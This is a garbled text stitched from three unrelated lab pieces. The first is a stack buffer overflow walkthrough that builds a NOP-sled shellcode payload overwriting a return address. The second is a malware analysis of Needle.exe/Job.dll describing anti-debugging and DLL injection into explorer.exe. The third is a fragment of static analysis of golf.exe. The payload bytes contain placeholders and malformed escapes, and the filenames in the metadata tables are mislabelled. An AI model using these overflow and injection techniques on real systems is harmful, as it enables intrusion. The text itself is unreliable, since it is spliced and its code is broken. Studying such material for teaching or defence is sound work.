Professional Documents
Culture Documents
Restart the process, send the byte stream above, and wait until the breakpoint is reached.
As shown above, the byte stream is saved on the stack beginning at 0xf7ff963c, and ebp points to
0xf7ff9678, where the old ebp is kept.
Next to it, the Return Address is recorded at 0xf7ff967c.
So the offset is 64 bytes.
Creating Shellcode from C Code
We wish to generate machine code for printf(). Create a simple program that includes our code:
Compile, then inspect the object code for the code_in function (objdump -S msg_machine_code).
Printf() corresponds to five machine instructions: sub, lea, push, call, and add.
The sub subtracts 0xC from the stack pointer. The push then adds a 32-bit integer on the stack,
subtracting 4 more bytes from the Stack Pointer. The number it places on the stack represents the
address of the string to be printed. The call stores the return address of the following instruction
(the add) on the stack and subtracts the Stack Pointer by 4 bytes.
After the call to puts, the add then corrects the Stack Pointer because this puts() has ended;
The Stack Pointer is restored, with 0x10 (= 16) appended to it. (i.e. 12 from the sub and 4 from
the push). The printf() function generates 16 bytes of machine code, followed by three bytes each
for the nop, leave, and ret.
So our targeted code insertion will be 19 bytes in total. We need to think more about the code,
namely the addresses encoded inside it.
We’ll return to that in a moment. An overview of our CODE from msg_machine_code (the
code_in function) now looks like this:
\x83\xec\x0c\x68\xss\xss\xss\xss\xe8\xrr\xrr\xrr\xrr\x83\xc4\x10\x90\xc9\xc3
Planning the Overflow
NOPs(10)+Code(19)+Space(8)+Helloooo+Space(16)+BasePointer(4)+ReturnAddressToCode(4)
+OriginalOldEBPStored(4)+OriginalReturnAddress (4)
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x83\xec\x0c\x68\xss\xss\xss\xss\xe8\xrr\xr
r\xrr\xrr\x83\xc4\ x10\
Hellooo AAAAAAAAAAAAAAAA \x80\x96\xff\xf7 \x46\x96\xff\xf7 \xB8\x96\xff\xf7
\x1e\xa2\x04\x08
Determine Addresses
Let's analyze the call stack of the target process.
The overflowing character buffer begins at 0xf7ff963c, and the stored base address is 60 (=0x3c)
bytes later at 0xf7ff9678.
The return address is the next one on the stack, at 0xf7ff967c. This return address will be
populated with the address of the injected code.
0xf7ff968c
ReturnAddressToCode: \x43\x96\xff\xf7 Afterward, OriginalOldEBPStored is saved at
0xf7ff9680. RetAddrOrig will be the return address to the initial return location.
0xf7ff9684
The original return address is 0x0804a21e -> \x1e\xa2\x04\x08.
Outline of our byte stream thus far: CODE-- \x90AAAAAAAA Hellooo
AAAAAAAAAAAAAAA \x80\x96\xff\xf7 \x46\x96\xff\xf7 \xb8\x96\xff\xf7 \x1e\xa2\x04\x08.
Final Byte Stream
The final byte stream comprises the resolved address of puts and machine codes of instructions
for printf():
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x83\xec\x0c\x68 \x61\x96\xff\xf7 \xe8
HelloooAAAAAAAAAAAAAA \x80\x96\xff\xf7 \x46\x96\xff\xf7 \xb8\x96\xff\xf7
\x1e\xa2\x04\x08.
Injection
Using the above byte stream on a Python client.
Needle.exe:
Filename Job.dll
Type PE64 DLL
MD% Hash 2ac1f1db6d3d5ad4d76254b810b870d1
Compiler Used Microsoft Visual C/C++(19.28.30040)[C++]
Linker Used Microsoft Linker(14.28.30040)
Language C/C++
File Inspection
Detect It Easy is used to find metadata and check for any packers or cryptors.
Filename Needle3.exe
No. of Sections 0x000b
Import DLLs Kernel32.dll, Advapi32.dll
No. of Imported Functions Kernel32.dll(97), Advapi32.dll(1)
Base_Address 0x0000000140000000
Entry_Point Address 0x0000000140064fe0
Jobb.dll:
Filename Needle3.exe
No. of Sections 0x000b
Import DLLs Kernel32.dll
No. of Imported Functions Kernel32.dll(13)
Base_Address 0x0000000180000000
Entry_Point Address 0x00000001800011b0
ADVAPI32.dll
GetUserNameA
KERNEL32.dll
CloseHandle GetConsoleMode GetProcAddress
CompareStringW GetConsoleOutputCP GetProcessHeap
CreateFileW GetCPInfo GetStartupInfoW
CreateRemoteThread GetCurrentProcess GetStdHandle
CreateToolhelp32Sna GetCurrentProcessId GetStringTypeW
pshot
SetFilePointerEx VirtualAllocEx
SetLastError VirtualQuery
Job.dll
DllEntryPoint
The code then verifies that it is not currently executing in the debugger. If so, it will come to an
end on its own.
If explorer.exe is identified, it uses the GetFullPathNameA API call to obtain the complete path to
job.dll. If successful, the complete path to job.dll will be saved in the DLL Path.
The OpenProcess API method is used to retrieve the process handle of explorer.exe via its PID.
Following a successful handle to explorer.exe request, a VirtualAllocEx API call is used to allocate
memory.
Using the WriteProcessMemory API function, the job.dll is written to the base address of memory
that has been allotted inside of Explorer.exe.
Use Detect-It-Easy to find file type & some other data of golf.exe.
Filename golf.exe
Type PE32 Executable
MD5 Hash 9731ec6c1475701ecd541aee28b3ca7a
Linker Used Microsoft Visual C# or Basic.NET or
Microsoft VB
Packer Info Explore and analyze .NET assemblies with
.NET Reflector v10 : www.red-gate.com - IF
file is packed try .NET Generic unpacker :
www.quequero.org/Pack_Unpack
Language C#
File Inspection
Use Detect It Easy to extract all of the metadata and search for any packers or cryptors that may
have been utilized.
Filename golf.exe
No. of Sections 0x0003
Import DLLs mscoree.dll
No. of Imported Functions mscoree.dll(1)
Base_Address 0x00400000
Entry_Point Address 0x00402dbe
Extract ASCII & Unicode Strings
Using BinText, pestudio, or string2, examine the strings on a Windows 10 virtual machine.
mscoree.dll
_CorExeMain